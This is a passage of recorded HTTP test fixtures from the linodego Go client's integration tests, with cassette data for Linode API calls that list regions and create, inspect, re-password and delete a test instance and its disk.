"139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:09:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-8754l5lw0kii","firewall_id":1301901,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68072701, "label": "go-test-ins-wo-disk-8754l5lw0kii", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.238.139"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "da930e82eeecd0e42121a79be169fb0cd193bd7d", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:09:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-8fz1m7k280js","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072701/configs method: POST response: body: '{"id": 71416880, "label": "go-test-conf-8fz1m7k280js", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:09:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072701 method: GET response: body: '{"id": 68072701, "label": "go-test-ins-wo-disk-8754l5lw0kii", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.238.139"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "da930e82eeecd0e42121a79be169fb0cd193bd7d", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:09:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072701 method: GET response: body: '{"id": 68072701, "label": "go-test-ins-wo-disk-8754l5lw0kii", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.238.139"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "da930e82eeecd0e42121a79be169fb0cd193bd7d", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:09:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-disk-test-3y0g1972ezit","size":2000,"image":"linode/debian10","root_pass":";22o/6yjp8nuI9H8\u003e3\\p9''A-7D]WHYD(a7pSR3u,]$2}\u0026D5wikHyom9W1~,KRK:5","filesystem":"ext4"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072701/disks method: POST response: body: '{"id": 132854847, "status": "not ready", "label": "go-disk-test-3y0g1972ezit", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000, "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "212" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:09:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072701 method: GET response: body: '{"id": 68072701, "label": "go-test-ins-wo-disk-8754l5lw0kii", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.238.139"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "da930e82eeecd0e42121a79be169fb0cd193bd7d", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:09:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072701/disks?page=1 method: GET response: body: '{"data": [{"id": 132854847, "status": "ready", "label": "go-disk-test-3y0g1972ezit", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000, "disk_encryption": "enabled"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "257" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:10:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"password":"r34!_b4d_p455"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072701/disks/132854847/password method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:10:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072701 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:10:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_Disk_Resize.yaml000066400000000000000000001237541474652371000323630ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": 